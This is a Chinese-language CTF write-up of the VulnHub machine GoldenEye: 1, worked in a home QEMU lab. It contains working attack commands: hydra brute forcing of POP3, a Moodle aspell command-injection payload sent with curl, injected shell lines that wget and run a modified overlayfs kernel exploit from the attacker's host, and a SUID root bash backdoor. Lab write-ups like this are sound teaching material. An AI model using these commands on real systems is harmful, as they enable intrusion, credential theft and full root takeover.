GoldenEye: 1 完整攻略:當工具不聽話時,如何用命令列硬打穿一台靶機
靶機:GoldenEye: 1(VulnHub,作者 creosote,2018)
難度:Intermediate(OSCP 風格,無 BOF/exploit development)
環境:WSL2 Kali + QEMU/KVM 自架(非 VirtualBox)
前言:為什麼這篇 writeup 不太一樣
GoldenEye 的通關路徑在網路上到處都是,這篇不打算只複述「怎麼過關」,它記錄的是一個更真實的場景:當你的環境是自己克難搭起來的、當 GUI 工具在關鍵時刻罷工、當攻擊管道會無預警斷線時,如何靠命令列與系統性排錯把靶機硬打穿。
整台我全程沒有依賴穩定的互動 shell,最後是用「盲打 RCE(寫檔案 + curl 讀回)」的方式完成提權,過程中踩了無數坑(streamOptimized 磁碟、port 佔用、WSLg firefox 點不動、reverse shell 反覆斷線、session 過期),而排掉這些坑的思路,比通關本身更值得記錄。
完整 Kill Chain:(含劇透,可先跳過)
- Web recon →
terminal.js洩漏 boris 預設密碼(HTML entity 編碼) /sev-home/確認帳號與 POP3 服務- POP3 憑證接力:boris → natalya → doak(信箱一路指向下一個)
- 信件洩漏 Moodle 入口與 xenia 憑證
- Moodle 內部:xenia → dr_doak → 下載
s3cret.txt - 圖片 EXIF 隱寫(Base64)→ Moodle admin 憑證
- Moodle aspell 命令注入 RCE(全 curl 繞過 GUI)
- overlayfs 核心提權(CVE-2015-1328)→ root
0. 環境搭建:在 WSL2 裡用 QEMU/KVM 跑 VulnHub
VulnHub 靶機是 VM image(.ova),傳統上要開 VirtualBox/VMware,我不想開 GUI hypervisor,改用「QEMU headless + 隔離網段」全程待在 Kali 終端裡。前提是 WSL2 要開 nested virtualization。
開啟 nested virtualization(Windows 的 .wslconfig):
[wsl2]
nestedVirtualization=true
wsl --shutdown 重啟後,驗證 KVM 可用:
ls -l /dev/kvm
sudo apt install -y cpu-checker && kvm-ok # 要看到 "KVM acceleration can be used"
解包與轉檔(關鍵坑:.ova 內的 VMDK 是 streamOptimized 唯讀格式,必須轉 qcow2):
tar xf GoldenEye-v1.ova # 解出 GoldenEye-v1-disk001.vmdk
# 直接 boot vmdk 會報 "Could not write to allocated cluster for streamOptimized"
qemu-img convert -p -O qcow2 GoldenEye-v1-disk001.vmdk goldeneye.qcow2
架隔離網段(br0 + tap0 + dnsmasq 當 DHCP):
sudo ip link add br0 type bridge
sudo ip addr add 10.10.10.1/24 dev br0
sudo ip link set br0 up
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
# dnsmasq 只發 DHCP,--port=0 避免搶 port 53(撞 WSL2 內建 DNS)
sudo dnsmasq --interface=br0 --bind-interfaces \
--dhcp-range=10.10.10.50,10.10.10.100,12h \
--dhcp-authoritative --port=0 --no-daemon --log-dhcp
headless boot(KVM 加速、e1000 網卡對應 VirtualBox 匯出、無畫面):
sudo qemu-system-x86_64 \
-enable-kvm -m 2048 -cpu host \
-drive file=goldeneye.qcow2,format=qcow2,if=ide \
-netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
-device e1000,netdev=net0 \
-display none -serial mon:stdio
靶機開機後,dnsmasq log 出現 DHCPACK(br0) 10.10.10.61 —— 靶機 IP 到手,全程零 GUI。
這一整套後來被我固化成 vulnhub-run.sh 一鍵腳本,之後換靶機一行搞定。streamOptimized 轉檔、port 佔用清理、tap 掛 bridge、自動抓 IP 都寫進去了。1. Recon
sudo nmap -p- -sV -sC 10.10.10.61
四個 port,主題一目了然:
| Port | 服務 | 備註 |
|---|---|---|
| 25 | Postfix SMTP | 送信 |
| 80 | Apache 2.4.7 | "GoldenEye Primary Admin Server" |
| 55006 | Dovecot POP3S | 收信(SSL) |
| 55007 | Dovecot POP3 | 收信(明文/STLS) |
四個 port 有三個在做郵件(SMTP + POP3 ×2),且 POP3 開在非標準高 port,這種服務分佈強烈暗示這台的骨架是「取得信箱憑證 → 讀信 → 拿下一步線索」,而 Web(port 80)是唯一能無帳號探索的入口,所以從它切入。
2. Web 前半場:從首頁挖出第一組憑證
首頁本體幾乎是空的,但載入了一個 terminal.js,OSCP 風格靶機的鐵律:作者放進來的每個自訂檔案都值得打開讀。
curl -s http://10.10.10.61/terminal.js
關鍵內容:
Navigate to /sev-home/ to login
// Boris, make sure you update your default password.
// I encoded you p@ssword below...
// Invincible...
// BTW Natalya says she can break your codes
那串 &#nn; 是 HTML entity 編碼(I = ASCII 73 = I)。丟進瀏覽器或 html.unescape() 解出:
InvincibleHack3r
登入 /sev-home/(HTTP Basic Auth):
curl -s -i -u boris:InvincibleHack3r http://10.10.10.61/sev-home/
登入後的頁面確認了兩個帳號(HTML 註解裡藏著 Natalya 與 Boris),並明示「POP3 在非標準高 port」、「email 一個 GNO supervisor 收 training」,這把攻擊焦點正式導向 mail 服務。
3. POP3 憑證接力:這台的核心 gimmick
3.1 SMTP 使用者列舉(先驗證工具可信)
用 SMTP VRFY 列舉帳號前,先做一件事:用「已知不存在」的陰性樣本測工具的鑑別力,避免把「一律回應」誤讀成「帳號存在」。
nc 10.10.10.61 25
VRFY boris # 252(存在)
VRFY james # 550 User unknown(不存在)← 證明 VRFY 有鑑別力
VRFY root # 252(存在)
james 回 550 反證了那些 252 是真實帳號,用 smtp-user-enum 跑完 007 角色名清單,確認只有三個真實帳號:boris、natalya、root(xenia/janus/006 等反派名全部不存在)。
3.2 Dovecot 有防爆破機制
直接用 16 child 爆 POP3,Dovecot 立刻反制:
[ERROR] POP3 PLAIN AUTH : -ERR Disconnected for inactivity during authentication.
這是 Dovecot 的 auth delay + 併發節流,慢速服務有防護時,「字典品質」比「字典大小」重要一百倍,手動測一次確認服務對單次認證回應乾淨(-ERR Authentication failed),代表可以低併發爆,只是要溫柔。
3.3 三次爆破,三個信箱
關鍵發現:boris 的密碼不在 top-1000 純常見詞字典,也不在 invincible 主題字典 —— 它在 fasttrack.txt(收錄「詞 + 數字 + 符號」模式):
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# boris : secret1!
hydra -l natalya -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# natalya : bird
hydra -l doak -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# doak : goat
教訓:爆破沒中時,換字典的「風格」有時比換帳號或加大數量更關鍵, secret1! 逃過純常見詞字典也逃過主題字典,因為它是「常見詞 + 常見後綴」模式,需要收錄這種組合的字典才抓得到。3.4 信件內容串起整條鏈
逐個信箱讀信(nc 10.10.10.61 55007 → USER/PASS/LIST/RETR):
- boris 信箱:
[email protected]提到 access codes、xenia、training site。 - natalya 信箱:直接給出關鍵情報 ——
username: xenia
password: RCP90rulez!
URL: severnaya-station.com/gnocertdir
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
照指示改 hosts:
echo "10.10.10.61 severnaya-station.com" | sudo tee -a /etc/hosts
4. 中場:Moodle(現成 CMS,攻擊思路切換)
whatweb http://severnaya-station.com/gnocertdir/
指紋確認是 Moodle(MoodleSession cookie、PHP 5.5.9、Title "GoldenEye Operators Training - Moodle"),攻擊思路立刻切換:現成開源 CMS,第一直覺是「哪個版本、有沒有已知 CVE」。
版本藏在 lib/upgrade.txt:
curl -s http://severnaya-station.com/gnocertdir/lib/upgrade.txt | grep -m1 "==="
# === 2.2 ===
用 xenia:RCP90rulez! 登入後,一封 Moodle 站內信(Dr Doak)洩漏新帳號 doak —— 回頭爆 POP3 得 doak:goat,doak 信箱給出 Moodle 帳號:
username: dr_doak
password: 4England!
dig until you can exfiltrate further information
用 dr_doak 登入,在個人資料裡挖到一個可下載檔案 s3cret.txt(路徑 draftfile.php/.../for james/s3cret.txt):
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps ... are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
憑證藏在圖片裡(因為文字會被掃描),抓圖 + 挖 EXIF:
curl -s http://severnaya-station.com/dir007key/for-007.jpg -o for-007.jpg
exiftool for-007.jpg
# Image Description : eFdpbnRlcjE5OTV4IQ== ← Base64(結尾 == 是招牌)
echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d
# xWinter1995x!
Moodle admin 憑證到手:admin : xWinter1995x!
5. Boss 關:Moodle aspell 命令注入 RCE
5.1 環境障礙:GUI 全面罷工
登入 admin 後遇到連串環境問題:WSLg 的 firefox 視窗小、下拉與按鈕點不動;想轉發到 Windows 瀏覽器又撞上 Windows 的 IIS 佔 port 80、Moodle 的 wwwroot 強制跳轉,結論:放棄瀏覽器,全程用 curl 打 Moodle 後台,這反而繞過所有 GUI/port 問題。
用 curl 登入拿 admin session:
curl -s -c cookies.txt -b cookies.txt \
-d "username=admin&password=xWinter1995x!" \
"http://severnaya-station.com/gnocertdir/login/index.php" -L -o /dev/null -w "%{http_code}\n"
# 驗證:grep 到 "You are logged in as" + "logout"
5.2 aspell RCE 原理
Moodle 的 TinyMCE 拼字檢查可設定用外部程式 aspell,管理員能在後台設定 aspell 的執行路徑,Moodle 執行拼字檢查時會用這個「路徑」去呼叫系統命令 —— 把路徑欄位塞進 shell 命令,就會被執行,這與任何「本該是路徑/參數的欄位被拼進 shell」的命令注入同源。
抓設定頁,發現 aspell 欄位名 s__aspellpath 與 sesskey:
curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
| grep -iE "aspell|sesskey"
# sesskey = y4dijSTQgp
5.3 關鍵根因:spell engine 必須是 PSpellShell
第一次填 payload 觸發後 shell 沒回來,用 ping 測試隔離問題(把 aspell 設成 ping -c 3 10.10.10.1,開 tcpdump 抓 ICMP)——沒抓到 ping,代表命令根本沒執行。往下查發現根因:
curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
| grep -oP 'selected="selected">\K[^<]+'
# Google Spell ← 走雲端,根本不碰本地 aspell!
用 curl POST 強制改成 PSpellShell:
curl -s -b cookies.txt \
--data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
--data-urlencode "s_editor_tinymce_spellengine=PSpellShell" \
--data-urlencode "s_editor_tinymce_spelllanguagelist=+English=en" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
-o /dev/null -w "%{http_code}\n"
改成 PSpellShell 後,ping 測試立刻抓到 ICMP —— 命令確實執行了。
5.4 盲打思維:放棄互動 shell
telnet reverse shell 反覆自動斷線、bash 的 /dev/tcp 這台又不支援,與其跟脆弱的互動 shell 搏鬥,改用盲打 RCE:每次執行命令,把輸出寫到 Moodle 的 web 目錄,再用 curl 讀回來。
# 設定 aspell payload:執行命令 → 寫檔到 web 目錄
curl -s -b cookies.txt \
--data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
--data-urlencode "s__aspellpath=sh -c 'id > /var/www/html/gnocertdir/out.txt 2>&1; uname -a >> /var/www/html/gnocertdir/out.txt 2>&1'" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
-o /dev/null -w "%{http_code}\n"
# 觸發拼字檢查(送「拼錯的詞」逼它呼叫 aspell)
curl -s -b cookies.txt \
"http://severnaya-station.com/gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php" \
-H "Content-Type: application/json" \
-d '{"id":"c0","method":"checkWords","params":["en",["helllooooo","zzzxxxqqq"]]}'
# 讀回輸出
curl -s "http://severnaya-station.com/gnocertdir/out.txt"
結果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP ... 2014 x86_64
思維轉換:interactive shell 是「方便」,不是「必需」,命令執行能力才是本質,打不穩的環境下,穩定的盲打 RCE 一樣能完成偵查與提權。
6. 提權:overlayfs 核心漏洞(CVE-2015-1328)
核心版本 3.13.0-32-generic(Ubuntu 14.04, 2014)對應到經典的 overlayfs 本地提權。
searchsploit linux kernel 3.13 privilege escalation
# Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' LPE | linux/local/37292.c
篩選命中:版本 3.13.0 < 3.19 精準框住、Ubuntu 14.04 命中、是 local privesc、有可編譯的 .c。
6.1 改造 exploit(盲打友善)
原版 37292.c 執行後開的是互動 root shell(execle("/bin/sh","sh","-i")),在盲打模式會卡住,而且它內部用 gcc 編譯,但靶機只有 cc。兩處都要改:
cp 37292.c ofs.c
sed -i 's/gcc/cc/g' ofs.c # 靶機只有 cc
# 把互動 shell 改成「非互動固化 root」:加 SUID bash + 讀 flag
# execle("/bin/sh","sh","-i",NULL,NULL);
# → system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; cat /root/*.txt > .../flag.txt; chmod 777 .../flag.txt");
思路:kernel exploit 通常給互動 shell,但我的 shell 會斷,解法是「不需要互動就把 root 權限固化」—— 以 root 給 bash 加 SUID(/tmp/rootbash),之後盲打執行/tmp/rootbash -p就是穩定 root。
6.2 下載、編譯、執行(全盲打)
# Kali 開 http server 給靶機下載
python3 -m http.server 8000
# 盲打:wget → 編譯 → 執行
curl -s -b cookies.txt \
--data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
--data-urlencode "s__aspellpath=sh -c 'cd /tmp; wget http://10.10.10.1:8000/ofs.c -O ofs.c; cc ofs.c -o ofs -lpthread; ./ofs > /var/www/html/gnocertdir/pwn.txt 2>&1'" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
-o /dev/null -w "%{http_code}\n"
# 觸發 rpc.php ...
6.3 拿 root
exploit 執行後,用 SUID bash 以 root 讀 flag:
curl -s -b cookies.txt \
--data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
--data-urlencode "s__aspellpath=sh -c '/tmp/rootbash -p -c \"id; cat /root/.flag.txt\" > /var/www/html/gnocertdir/flag.txt 2>&1'" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
-o /dev/null -w "%{http_code}\n"
# 觸發 rpc.php ...
curl -s "http://severnaya-station.com/gnocertdir/flag.txt"
結果(注意 flag 是隱藏檔 .flag.txt,/root/*.txt 匹配不到,要明確指定):
uid=33(www-data) ... euid=0(root) groups=0(root),33(www-data)
Alec told me to place the codes here:
568628e0d993b1973adc718237da6e93
If you captured this make sure to go here.....
/006-final/xvf7-flag/
euid=0(root) —— 提權成功。訪問彩蛋頁 /006-final/xvf7-flag/ 得到官方通關賀詞「Flag Captured」。
帶得走的方法論(比 flag 更值錢)
- 自架靶機環境:QEMU/KVM headless + tap/bridge,不依賴 GUI hypervisor,全程在終端裡打,其實就是我懶得開VirtualBox後來想說來亂玩一下。
- 命令列繞過 GUI bug:當 firefox 點不動、瀏覽器撞 port,curl 能打穿整個 Moodle 後台,GUI 是方便,不是必需。
- 盲打 RCE 思維:放棄「一定要互動 shell」的執念,用「寫檔 + 讀回」的穩定命令執行完成偵查與提權,這是打不穩環境時的正解。
- 系統性排錯:用 ping 這種「結果明確可見」的測試,隔離「命令沒執行 vs shell 沒回來」;請求突然全失敗時,先懷疑 session/token 過期;卡住時退回「已知能用」的最簡狀態再逐步加回複雜度。
- 爆破策略:慢速服務有防護時,字典「品質與風格」比「數量」重要;由小到大、由快到慢;沒中時先質疑前提(帳號、服務、字典風格)而非無腦加大。
- 憑證接力(lateral movement):這正是真實內網滲透的核心 —— 一組憑證撬開一個立足點,撈到下一組,一路 pivot。
本文為 GoldenEye: 1 靶機的教學型 writeup,所有操作皆在本機隔離環境進行。切勿對未授權的系統進行任何測試。
Member discussion